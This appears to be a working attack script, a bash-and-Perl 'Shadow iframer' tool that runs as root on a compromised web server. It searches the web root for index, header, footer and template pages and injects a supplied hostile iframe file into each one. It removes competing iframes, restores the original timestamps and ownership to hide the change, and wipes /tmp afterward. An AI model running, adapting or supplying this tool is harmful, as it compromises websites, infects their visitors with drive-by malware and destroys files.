#!/bin/bash

if [ $UID != 0 ]; then
  echo "[x]Need r00t :("; exit 1;
fi

usage () {
  echo "################################################"
  echo "#    Shadow iframer[local]  (c)ode by Gh0s7    #"
  echo "#              Moded By Sunb0rn                #"
  echo "################################################"
  echo "#usage: ./sh-iframe.sh [iframe file] [path]    #"
  echo "#       ./sh-iframe.sh exploit.html  /var/www/ #"
  echo "################################################"
  exit 1
}

check=`expr length "$1"`
if [ $check == 0 ]; then 
  usage
fi

check=`expr length "$2"`
if [ $check == 0 ]; then 
  usage
fi

echo -n "[*]Searching for perl..."; which perl

if [ $? != 0 ]; then
  echo "[x]No perl?"; exit
fi

echo -n "[*]Starting index finder...please wait..."

find $2 -iregex ".*\(php\|php3\|htm\|html\|tpl\|asp\|aspx\|phtm\|phtml\|shtm\|shtml\|cfm\|txt\|jsp\|jhtml\)$"|grep -E -i "index\.|default\.|main\.|news\.|portal\.|header\.|footer\.|forum\.|site\.|theme\.|template\.|frame\.|body\.|home\.|menu\." 2> /dev/null>>/tmp/found

len=`cat /tmp/found| wc -l`

echo "search complete. Found $len pages"
echo -n "[*]Generating iframer..."

iframer='\n
while (<INPUT>) {
  chomp; $file = $_;
  $info = stat($file)     or die "no $file: $!";
  $d_uid = $info->uid;
  $d_gid = $info->gid;
  $d_atime = $info->atime;
  $d_mtime = $info->mtime;
  @res = split (/\//);
  $len = 0;
  $overwrite = 0;
  foreach (@res) { $len++; }
  open (FILE, "<$_") or die;
  open (TMP, ">/tmp/$res[$len-1]") or die;
  open (INJECT, "<$inject") or die;
  sysread (INJECT, $code, 1024);
  close (INJECT);
  my $frcount = 0;
  while (<FILE>)
  {
	print TMP $_;
	my $linelength = length $_;
	while (/<iframe.*><\/iframe>/i)
	{
		if (/$inject/i) {$frcount ++;}
		if ((!/$inject/i)||($frcount > 1))
		{
			seek(TMP,-$linelength,1);
			if ($_ =~ /$inject/i) {$frcount --;}
			$_ =~ s/(<iframe.*><\/iframe>)//i;
			print TMP $_;
			$linelength = length $_;
		}
	}
	if ((/<body/i)&&($frcount < 1))
	{
		if (/>/)
		{
			print TMP $code;
			$frcount ++;
			$overwrite = 1;
		}
	}
	if ((/<\/body>/i)&&($overwrite == 0)&&($frcount < 1))
	{
		seek(TMP,-$linelength,1);
		print TMP $code.$_;
		$frcount ++;
		$overwrite = 1;
	}
  }
  close (FILE);
  close (TMP);
  if ($overwrite == 1)
  {
	  system ("./rm /tmp/$res[$len-1].bak 2>/dev/null");
	  system ("./mv $file /tmp/$res[$len-1].bak");
	  system ("./mv /tmp/$res[$len-1] $file");
	  utime $d_atime, $d_mtime, $file;
	  system ("chown $d_uid:$d_gid $file");
  }
}'
echo -ne "#!/usr/bin/perl -w\nuse File::stat\nopen (INPUT, \"</tmp/found\");\n\$inject=\"$1\";" > iframer.pl
echo -ne "$iframer" >> iframer.pl

echo 'mv $@' > ./mv; chmod +x ./mv
echo 'rm $@' > ./rm; chmod +x ./rm

echo "complete.Starting iframer"
perl iframer.pl
echo "[*] Injecting complete, deleting temp files..."
rm mv rm
rm -f /tmp/* iframer.pl
echo "[*] Finished"
exit 0